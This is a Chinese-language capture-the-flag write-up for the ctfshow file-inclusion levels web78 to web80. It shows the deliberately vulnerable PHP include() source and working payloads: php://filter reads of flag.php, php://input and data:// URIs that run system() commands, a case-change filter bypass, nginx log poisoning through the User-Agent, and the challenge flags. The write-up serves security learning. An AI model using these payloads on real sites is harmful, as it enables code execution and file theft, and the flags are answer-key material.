ctfshow-web文件包含(web78-web86)

ctfshow-web文件包含

web78

复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 10:52:43
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 10:54:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

由include代码执行file引入文件,如果执行不成功,就高亮显示源码

可知这就是一个没有任何过滤的文件包含的题目

方法一filter伪协议

file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。

filter伪协议构造payload

复制代码
?file=php://filter/read=convert.base64-encode/resource=flag.php

得到base编码后的flag解密得到flag

复制代码
ctfshow{d03c9148-23af-48a1-92e1-ad011f98d415}
方法二:input协议

php://input 是 PHP 提供的一个伪协议,允许开发者 访问 POST 请求的原始内容。对于 POST 请求数据,PHP 提供了 _POST 与 FILES 超全局变量,在客户端发起 POST 请求时,PHP 将自动处理 POST 提交的数据并将处理结果存放至 _POST 与 FILES 中

复制代码
<?php system('ls');?>
方法三:data协议

data也是利用文件包含漏洞,将输入的代码当作php文件执行。

data协议格式:

复制代码
data://[<MIME-type>][;charset=<encoding>][;base64],<data>

构造payload:

复制代码
?file=data://text/plain,<?php system('tac f*');?>

将我们输入的当作php文件来执行,以达到读取flag的目的。

web79

复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:10:14
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 11:12:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

发现过滤了php小问题

data协议
复制代码
data://text/plain

使用到<?php ?>可以用<?= ?>代替

flag.php可以用*或?代替部分字符

或是直接使用base64编码

复制代码
?file=data://text/plain,<?= system("tac fla*") ?>
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhKicpOyA/Pg==

PD9waHAgc3lzdGVtKCd0YWMgZmxhKicpOyA/Pg==等于<?php system('cat flag.php');
复制代码
ctfshow{e37fa4f8-13aa-40d3-a57e-dd2af3f4030e}
php://input

php用大小写绕过

复制代码
?file=Php://input
post:
<?php system('tac flag.php'); ?>

当你使用hackbar的时候,请使用raw模式发送post请求,否则服务端无法接收到post里的内容。

日志包含
复制代码
?file=/var/log/nginx/access.log

user-agent里写上

复制代码
<?php system('ls'); ?>
<?php system('tac fl0g.php'); ?>

web80

复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 11:26:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

解释

复制代码
首先,代码使用isset()函数检查是否存在名为'file'的GET参数。如果存在,代码将获取该参数的值并赋给变量$file。

然后,代码使用str_replace()函数对file变量进行两次替换操作。第一次替换将file变量进行两次替换操作。第一次替换将file中的php字符串替换为???,第二次替换将file中的data字符串替换为???。

最后,代码使用include()函数来包含$file变量所代表的文件。

发现是nginx服务器所以我们尝试访问这个

日志

复制代码
/var/log/nginx/access.log
相关推荐
步行cgn12 分钟前
Axios 请求成功但页面不显示:两个前端错误的分析与修正
前端
时间的情敌32 分钟前
WebGIS + OpenLayers + GeoServer + PostGIS #量算 #点聚合
前端·geoserver·openlayers
不可能片场1 小时前
Electron 发布 cookie 库先查明文再写解密
前端·electron
郭小李1 小时前
springmvc 拦截器
java·开发语言·前端
web打印社区1 小时前
Chrome-kiosk-printing能上生产吗
开发语言·前端·javascript·chrome·websocket
白帽攻防录1 小时前
某pc客户端app从xss到rce实战案例
前端·网络安全·黑客·xss·rce·src漏洞·app漏洞
AIsoft_86892 小时前
职场音频文件怎么整理?录音APP有哪些用法
android·音视频
志尊宝2 小时前
AI原生前端开发(041):AI辅助的状态管理(Zustand/Pinia)
前端·javascript·ai-native
修炼的dance2 小时前
pngquant 两档质量后接 oxipng,每步省多少花几秒
前端
费曼学习法2 小时前
无人值守AI内容矩阵实战(10):Windows 无 systemd,进程存活率 99% 怎么做
前端